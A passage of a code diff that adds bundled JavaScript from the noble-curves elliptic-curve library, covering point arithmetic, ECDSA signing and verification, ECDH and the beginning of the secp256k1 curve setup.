E('Invalid signature: left bytes after parsing'); + return { r, s }; + }, + hexFromSig(sig) { + // Add leading zero if first byte has negative bit enabled. More details in '_parseInt' + const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s); + const h = (num) => { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + }; + const s = slice(h(sig.s)); + const r = slice(h(sig.r)); + const shl = s.length / 2; + const rhl = r.length / 2; + const sl = h(shl); + const rl = h(rhl); + return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`; + }, +}; +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n$1 = BigInt(1); BigInt(2); const _3n = BigInt(3); BigInt(4); +function weierstrassPoints(opts) { + const CURVE = validatePointOpts(opts); + const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ + const toBytes = CURVE.toBytes || + ((_c, point, _isCompressed) => { + const a = point.toAffine(); + return concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y)); + }); + const fromBytes = CURVE.fromBytes || + ((bytes) => { + // const head = bytes[0]; + const tail = bytes.subarray(1); + // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported'); + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + }); + /** + * y² = x³ + ax + b: Short weierstrass curve formula + * @returns y² + */ + function weierstrassEquation(x) { + const { a, b } = CURVE; + const x2 = Fp.sqr(x); // x * x + const x3 = Fp.mul(x2, x); // x2 * x + return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b + } + // Validate whether the passed curve params are valid. + // We check if curve equation works for generator point. + // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381. + // ProjectivePoint class has not been initialized yet. + if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx))) + throw new Error('bad generator point: equation left != right'); + // Valid group elements reside in range 1..n-1 + function isWithinCurveOrder(num) { + return typeof num === 'bigint' && _0n < num && num < CURVE.n; + } + function assertGE(num) { + if (!isWithinCurveOrder(num)) + throw new Error('Expected valid bigint: 0 < bigint < curve.n'); + } + // Validates if priv key is valid and converts it to bigint. + // Supports options allowedPrivateKeyLengths and wrapPrivateKey. + function normPrivateKeyToScalar(key) { + const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE; + if (lengths && typeof key !== 'bigint') { + if (key instanceof Uint8Array) + key = bytesToHex(key); + // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes + if (typeof key !== 'string' || !lengths.includes(key.length)) + throw new Error('Invalid key'); + key = key.padStart(nByteLength * 2, '0'); + } + let num; + try { + num = + typeof key === 'bigint' + ? key + : bytesToNumberBE(ensureBytes('private key', key, nByteLength)); + } + catch (error) { + throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`); + } + if (wrapPrivateKey) + num = mod(num, n); // disabled by default, enabled for BLS + assertGE(num); // num in range [1..N-1] + return num; + } + const pointPrecomputes = new Map(); + function assertPrjPoint(other) { + if (!(other instanceof Point)) + throw new Error('ProjectivePoint expected'); + } + /** + * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) + * Default Point works in 2d / affine coordinates: (x, y) + * We're doing calculations in projective, because its operations don't require costly inversion. + */ + class Point { + constructor(px, py, pz) { + this.px = px; + this.py = py; + this.pz = pz; + if (px == null || !Fp.isValid(px)) + throw new Error('x required'); + if (py == null || !Fp.isValid(py)) + throw new Error('y required'); + if (pz == null || !Fp.isValid(pz)) + throw new Error('z required'); + } + // Does not validate if the point is on-curve. + // Use fromHex instead, or call assertValidity() later. + static fromAffine(p) { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('invalid affine point'); + if (p instanceof Point) + throw new Error('projective point not allowed'); + const is0 = (i) => Fp.eql(i, Fp.ZERO); + // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0) + if (is0(x) && is0(y)) + return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + /** + * Takes a bunch of Projective Points but executes only one + * inversion on all of them. Inversion is very slow operation, + * so this improves performance massively. + * Optimization: converts a list of projective points to a list of identical points with Z=1. + */ + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.pz)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + /** + * Converts hash string or Uint8Array to Point. + * @param hex short/long ECDSA hex + */ + static fromHex(hex) { + const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex))); + P.assertValidity(); + return P; + } + // Multiplies generator point by privateKey. + static fromPrivateKey(privateKey) { + return Point.BASE.multiply(normPrivateKeyToScalar(privateKey)); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // A point on curve is valid if it conforms to equation. + assertValidity() { + if (this.is0()) { + // (0, 1, 0) aka ZERO is invalid in most contexts. + // In BLS, ZERO can be serialized, so we allow it. + // (0, 0, 0) is wrong representation of ZERO and is always invalid. + if (CURVE.allowInfinityPoint && !Fp.is0(this.py)) + return; + throw new Error('bad point: ZERO'); + } + // Some 3rd-party test vectors require different wording between here & `fromCompressedHex` + const { x, y } = this.toAffine(); + // Check if x, y are valid field elements + if (!Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('bad point: x or y not FE'); + const left = Fp.sqr(y); // y² + const right = weierstrassEquation(x); // x³ + ax + b + if (!Fp.eql(left, right)) + throw new Error('bad point: equation left != right'); + if (!this.isTorsionFree()) + throw new Error('bad point: not in prime-order subgroup'); + } + hasEvenY() { + const { y } = this.toAffine(); + if (Fp.isOdd) + return !Fp.isOdd(y); + throw new Error("Field doesn't support isOdd"); + } + /** + * Compare one point to another. + */ + equals(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + /** + * Flips point to one corresponding to (x, -y) in Affine coordinates. + */ + negate() { + return new Point(this.px, Fp.neg(this.py), this.pz); + } + // Renes-Costello-Batina exception-free doubling formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 3 + // Cost: 8M + 3S + 3*a + 2*b3 + 15add. + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n); + const { px: X1, py: Y1, pz: Z1 } = this; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + let t0 = Fp.mul(X1, X1); // step 1 + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); // step 5 + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); // step 10 + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); // step 15 + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); // step 20 + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); // step 25 + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); // step 30 + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + // Renes-Costello-Batina exception-free addition formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 1 + // Cost: 12M + 0S + 3*a + 3*b3 + 23add. + add(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n); + let t0 = Fp.mul(X1, X2); // step 1 + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); // step 5 + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); // step 10 + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); // step 15 + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); // step 20 + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); // step 25 + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); // step 30 + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); // step 35 + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); // step 40 + return new Point(X3, Y3, Z3); + } + subtract(other) { + return this.add(other.negate()); + } + is0() { + return this.equals(Point.ZERO); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => { + const toInv = Fp.invertBatch(comp.map((p) => p.pz)); + return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + }); + } + /** + * Non-constant-time multiplication. Uses double-and-add algorithm. + * It's faster, but should only be used when you don't care about + * an exposed private key e.g. sig verification, which works over *public* keys. + */ + multiplyUnsafe(n) { + const I = Point.ZERO; + if (n === _0n) + return I; + assertGE(n); // Will throw on 0 + if (n === _1n$1) + return this; + const { endo } = CURVE; + if (!endo) + return wnaf.unsafeLadder(this, n); + // Apply endomorphism + let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let k1p = I; + let k2p = I; + let d = this; + while (k1 > _0n || k2 > _0n) { + if (k1 & _1n$1) + k1p = k1p.add(d); + if (k2 & _1n$1) + k2p = k2p.add(d); + d = d.double(); + k1 >>= _1n$1; + k2 >>= _1n$1; + } + if (k1neg) + k1p = k1p.negate(); + if (k2neg) + k2p = k2p.negate(); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + return k1p.add(k2p); + } + /** + * Constant time multiplication. + * Uses wNAF method. Windowed method may be 10% faster, + * but takes 2x longer to generate and consumes 2x memory. + * Uses precomputes when available. + * Uses endomorphism for Koblitz curves. + * @param scalar by which the point would be multiplied + * @returns New point + */ + multiply(scalar) { + assertGE(scalar); + let n = scalar; + let point, fake; // Fake point is used to const-time mult + const { endo } = CURVE; + if (endo) { + const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let { p: k1p, f: f1p } = this.wNAF(k1); + let { p: k2p, f: f2p } = this.wNAF(k2); + k1p = wnaf.constTimeNegate(k1neg, k1p); + k2p = wnaf.constTimeNegate(k2neg, k2p); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + point = k1p.add(k2p); + fake = f1p.add(f2p); + } + else { + const { p, f } = this.wNAF(n); + point = p; + fake = f; + } + // Normalize `z` for both points, but return only real one + return Point.normalizeZ([point, fake])[0]; + } + /** + * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly. + * Not using Strauss-Shamir trick: precomputation tables are faster. + * The trick could be useful if both P and Q are not G (not in our case). + * @returns non-zero affine point + */ + multiplyAndAddUnsafe(Q, a, b) { + const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes + const mul = (P, a // Select faster multiply() method + ) => (a === _0n || a === _1n$1 || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a)); + const sum = mul(this, a).add(mul(Q, b)); + return sum.is0() ? undefined : sum; + } + // Converts Projective point to affine (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + // (x, y, z) ∋ (x=x/z, y=y/z) + toAffine(iz) { + const { px: x, py: y, pz: z } = this; + const is0 = this.is0(); + // If invZ was 0, we return zero point. However we still want to execute + // all operations, so we replace invZ with a random number, 1. + if (iz == null) + iz = is0 ? Fp.ONE : Fp.inv(z); + const ax = Fp.mul(x, iz); + const ay = Fp.mul(y, iz); + const zz = Fp.mul(z, iz); + if (is0) + return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + isTorsionFree() { + const { h: cofactor, isTorsionFree } = CURVE; + if (cofactor === _1n$1) + return true; // No subgroups, always torsion-free + if (isTorsionFree) + return isTorsionFree(Point, this); + throw new Error('isTorsionFree() has not been declared for the elliptic curve'); + } + clearCofactor() { + const { h: cofactor, clearCofactor } = CURVE; + if (cofactor === _1n$1) + return this; // Fast-path + if (clearCofactor) + return clearCofactor(Point, this); + return this.multiplyUnsafe(CURVE.h); + } + toRawBytes(isCompressed = true) { + this.assertValidity(); + return toBytes(Point, this, isCompressed); + } + toHex(isCompressed = true) { + return bytesToHex(this.toRawBytes(isCompressed)); + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + const _bits = CURVE.nBitLength; + const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits); + // Validate if generator point is on curve + return { + CURVE, + ProjectivePoint: Point, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + }; +} +function validateOpts(curve) { + const opts = validateBasic(curve); + validateObject(opts, { + hash: 'hash', + hmac: 'function', + randomBytes: 'function', + }, { + bits2int: 'function', + bits2int_modN: 'function', + lowS: 'boolean', + }); + return Object.freeze({ lowS: true, ...opts }); +} +function weierstrass(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: CURVE_ORDER } = CURVE; + const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32 + const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32 + function isValidFieldElement(num) { + return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE + } + function modN(a) { + return mod(a, CURVE_ORDER); + } + function invN(a) { + return invert(a, CURVE_ORDER); + } + const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({ + ...CURVE, + toBytes(_c, point, isCompressed) { + const a = point.toAffine(); + const x = Fp.toBytes(a.x); + const cat = concatBytes; + if (isCompressed) { + return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x); + } + else { + return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y)); + } + }, + fromBytes(bytes) { + const len = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + // this.assertValidity() is done inside of fromHex + if (len === compressedLen && (head === 0x02 || head === 0x03)) { + const x = bytesToNumberBE(tail); + if (!isValidFieldElement(x)) + throw new Error('Point is not on curve'); + const y2 = weierstrassEquation(x); // y² = x³ + ax + b + let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4 + const isYOdd = (y & _1n$1) === _1n$1; + // ECDSA + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) + y = Fp.neg(y); + return { x, y }; + } + else if (len === uncompressedLen && head === 0x04) { + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + } + else { + throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`); + } + }, + }); + const numToNByteStr = (num) => bytesToHex(numberToBytesBE(num, CURVE.nByteLength)); + function isBiggerThanHalfOrder(number) { + const HALF = CURVE_ORDER >> _1n$1; + return number > HALF; + } + function normalizeS(s) { + return isBiggerThanHalfOrder(s) ? modN(-s) : s; + } + // slice bytes num + const slcNum = (b, from, to) => bytesToNumberBE(b.slice(from, to)); + /** + * ECDSA signature with its (r, s) properties. Supports DER & compact representations. + */ + class Signature { + constructor(r, s, recovery) { + this.r = r; + this.s = s; + this.recovery = recovery; + this.assertValidity(); + } + // pair (bytes of r, bytes of s) + static fromCompact(hex) { + const l = CURVE.nByteLength; + hex = ensureBytes('compactSignature', hex, l * 2); + return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l)); + } + // DER encoded ECDSA signature + // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script + static fromDER(hex) { + const { r, s } = DER.toSig(ensureBytes('DER', hex)); + return new Signature(r, s); + } + assertValidity() { + // can use assertGE here + if (!isWithinCurveOrder(this.r)) + throw new Error('r must be 0 < r < CURVE.n'); + if (!isWithinCurveOrder(this.s)) + throw new Error('s must be 0 < s < CURVE.n'); + } + addRecoveryBit(recovery) { + return new Signature(this.r, this.s, recovery); + } + recoverPublicKey(msgHash) { + const { r, s, recovery: rec } = this; + const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash + if (rec == null || ![0, 1, 2, 3].includes(rec)) + throw new Error('recovery id invalid'); + const radj = rec === 2 || rec === 3 ? r + CURVE.n : r; + if (radj >= Fp.ORDER) + throw new Error('recovery id 2 or 3 invalid'); + const prefix = (rec & 1) === 0 ? '02' : '03'; + const R = Point.fromHex(prefix + numToNByteStr(radj)); + const ir = invN(radj); // r^-1 + const u1 = modN(-h * ir); // -hr^-1 + const u2 = modN(s * ir); // sr^-1 + const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1) + if (!Q) + throw new Error('point at infinify'); // unsafe is fine: no priv data leaked + Q.assertValidity(); + return Q; + } + // Signatures should be low-s, to prevent malleability. + hasHighS() { + return isBiggerThanHalfOrder(this.s); + } + normalizeS() { + return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this; + } + // DER-encoded + toDERRawBytes() { + return hexToBytes(this.toDERHex()); + } + toDERHex() { + return DER.hexFromSig({ r: this.r, s: this.s }); + } + // padded bytes of r, then padded bytes of s + toCompactRawBytes() { + return hexToBytes(this.toCompactHex()); + } + toCompactHex() { + return numToNByteStr(this.r) + numToNByteStr(this.s); + } + } + const utils = { + isValidPrivateKey(privateKey) { + try { + normPrivateKeyToScalar(privateKey); + return true; + } + catch (error) { + return false; + } + }, + normPrivateKeyToScalar: normPrivateKeyToScalar, + /** + * Produces cryptographically secure private key from random of size + * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible. + */ + randomPrivateKey: () => { + const length = getMinHashLength(CURVE.n); + return mapHashToField(CURVE.randomBytes(length), CURVE.n); + }, + /** + * Creates precompute table for an arbitrary EC point. Makes point "cached". + * Allows to massively speed-up `point.multiply(scalar)`. + * @returns cached point + * @example + * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey)); + * fast.multiply(privKey); // much faster ECDH now + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here + return point; + }, + }; + /** + * Computes public key for a private key. Checks for validity of the private key. + * @param privateKey private key + * @param isCompressed whether to return compact (default), or full key + * @returns Public key, full when isCompressed=false; short when isCompressed=true + */ + function getPublicKey(privateKey, isCompressed = true) { + return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed); + } + /** + * Quick and dirty check for item being public key. Does not validate hex, or being on-curve. + */ + function isProbPub(item) { + const arr = item instanceof Uint8Array; + const str = typeof item === 'string'; + const len = (arr || str) && item.length; + if (arr) + return len === compressedLen || len === uncompressedLen; + if (str) + return len === 2 * compressedLen || len === 2 * uncompressedLen; + if (item instanceof Point) + return true; + return false; + } + /** + * ECDH (Elliptic Curve Diffie Hellman). + * Computes shared public key from private key and public key. + * Checks: 1) private key validity 2) shared key is on-curve. + * Does NOT hash the result. + * @param privateA private key + * @param publicB different public key + * @param isCompressed whether to return compact (default), or full key + * @returns shared public key + */ + function getSharedSecret(privateA, publicB, isCompressed = true) { + if (isProbPub(privateA)) + throw new Error('first arg must be private key'); + if (!isProbPub(publicB)) + throw new Error('second arg must be public key'); + const b = Point.fromHex(publicB); // check for being on-curve + return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed); + } + // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets. + // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int. + // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same. + // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors + const bits2int = CURVE.bits2int || + function (bytes) { + // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m) + // for some cases, since bytes.length * 8 is not actual bitLength. + const num = bytesToNumberBE(bytes); // check for == u8 done here + const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = CURVE.bits2int_modN || + function (bytes) { + return modN(bits2int(bytes)); // can't use bytesToNumberBE here + }; + // NOTE: pads output with zero as per spec + const ORDER_MASK = bitMask(CURVE.nBitLength); + /** + * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`. + */ + function int2octets(num) { + if (typeof num !== 'bigint') + throw new Error('bigint expected'); + if (!(_0n <= num && num < ORDER_MASK)) + throw new Error(`bigint expected < 2^${CURVE.nBitLength}`); + // works with order, can have different size than numToField! + return numberToBytesBE(num, CURVE.nByteLength); + } + // Steps A, D of RFC6979 3.2 + // Creates RFC6979 seed; converts msg/privKey to numbers. + // Used only in sign, not in verify. + // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521. + // Also it can be bigger for P224 + SHA256 + function prepSig(msgHash, privateKey, opts = defaultSigOpts) { + if (['recovered', 'canonical'].some((k) => k in opts)) + throw new Error('sign() legacy options not supported'); + const { hash, randomBytes } = CURVE; + let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default + if (lowS == null) + lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash + msgHash = ensureBytes('msgHash', msgHash); + if (prehash) + msgHash = ensureBytes('prehashed msgHash', hash(msgHash)); + // We can't later call bits2octets, since nested bits2int is broken for curves + // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call. + // const bits2octets = (bits) => int2octets(bits2int_modN(bits)) + const h1int = bits2int_modN(msgHash); + const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint + const seedArgs = [int2octets(d), int2octets(h1int)]; + // extraEntropy. RFC6979 3.6: additional k' (optional). + if (ent != null) { + // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k') + const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is + seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes + } + const seed = concatBytes(...seedArgs); // Step D of RFC6979 3.2 + const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash! + // Converts signature params into point w r/s, checks result for validity. + function k2sig(kBytes) { + // RFC 6979 Section 3.2, step 3: k = bits2int(T) + const k = bits2int(kBytes); // Cannot use fields methods, since it is group element + if (!isWithinCurveOrder(k)) + return; // Important: all mod() calls here must be done over N + const ik = invN(k); // k^-1 mod n + const q = Point.BASE.multiply(k).toAffine(); // q = Gk + const r = modN(q.x); // r = q.x mod n + if (r === _0n) + return; + // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to + // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it: + // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT + const s = modN(ik * modN(m + r * d)); // Not using blinding here + if (s === _0n) + return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n$1); // recovery bit (2 or 3, when q.x > n) + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = normalizeS(s); // if lowS was passed, ensure s is always + recovery ^= 1; // // in the bottom half of N + } + return new Signature(r, normS, recovery); // use normS, not s + } + return { seed, k2sig }; + } + const defaultSigOpts = { lowS: CURVE.lowS, prehash: false }; + const defaultVerOpts = { lowS: CURVE.lowS, prehash: false }; + /** + * Signs message hash with a private key. + * ``` + * sign(m, d, k) where + * (x, y) = G × k + * r = x mod n + * s = (m + dr)/k mod n + * ``` + * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`. + * @param privKey private key + * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg. + * @returns signature with recovery param + */ + function sign(msgHash, privKey, opts = defaultSigOpts) { + const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2. + const C = CURVE; + const drbg = createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac); + return drbg(seed, k2sig); // Steps B, C, D, E, F, G + } + // Enable precomputes. Slows down first publicKey computation by 20ms. + Point.BASE._setWindowSize(8); + // utils.precompute(8, ProjectivePoint.BASE) + /** + * Verifies a signature against message hash and public key. + * Rejects lowS signatures by default: to override, + * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf: + * + * ``` + * verify(r, s, h, P) where + * U1 = hs^-1 mod n + * U2 = rs^-1 mod n + * R = U1⋅G - U2⋅P + * mod(R.x, n) == r + * ``` + */ + function verify(signature, msgHash, publicKey, opts = defaultVerOpts) { + const sg = signature; + msgHash = ensureBytes('msgHash', msgHash); + publicKey = ensureBytes('publicKey', publicKey); + if ('strict' in opts) + throw new Error('options.strict was renamed to lowS'); + const { lowS, prehash } = opts; + let _sig = undefined; + let P; + try { + if (typeof sg === 'string' || sg instanceof Uint8Array) { + // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length). + // Since DER can also be 2*nByteLength bytes, we check for it first. + try { + _sig = Signature.fromDER(sg); + } + catch (derError) { + if (!(derError instanceof DER.Err)) + throw derError; + _sig = Signature.fromCompact(sg); + } + } + else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') { + const { r, s } = sg; + _sig = new Signature(r, s); + } + else { + throw new Error('PARSE'); + } + P = Point.fromHex(publicKey); + } + catch (error) { + if (error.message === 'PARSE') + throw new Error(`signature must be Signature instance, Uint8Array or hex string`); + return false; + } + if (lowS && _sig.hasHighS()) + return false; + if (prehash) + msgHash = CURVE.hash(msgHash); + const { r, s } = _sig; + const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element + const is = invN(s); // s^-1 + const u1 = modN(h * is); // u1 = hs^-1 mod n + const u2 = modN(r * is); // u2 = rs^-1 mod n + const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P + if (!R) + return false; + const v = modN(R.x); + return v === r; + } + return { + CURVE, + getPublicKey, + getSharedSecret, + sign, + verify, + ProjectivePoint: Point, + Signature, + utils, + }; +} + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// connects noble-curves to noble-hashes +function getHash(hash) { + return { + hash, + hmac: (key, ...msgs) => hmac(hash, key, concatBytes$1(...msgs)), + randomBytes: randomBytes$2, + }; +} +function createCurve(curveDef, defHash) { + const create = (hash) => weierstrass({ ...curveDef, ...getHash(hash) }); + return Object.freeze({ ...create(defHash), create }); +} + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'); +const secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); +const _1n = BigInt(1); +const _2n = BigInt(2); +const divNearest = (a, b) => (a + b / _2n) / b; +/** + * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit. + * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00] + */ +function sqrtMod(y) { + const P = secp256k1P; + // prettier-ignore + const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + // prettier-ignore + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = (y * y * y) % P; // x^3, 11 + const b3 = (b2 * b2 * y) % P; // x^7 + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = 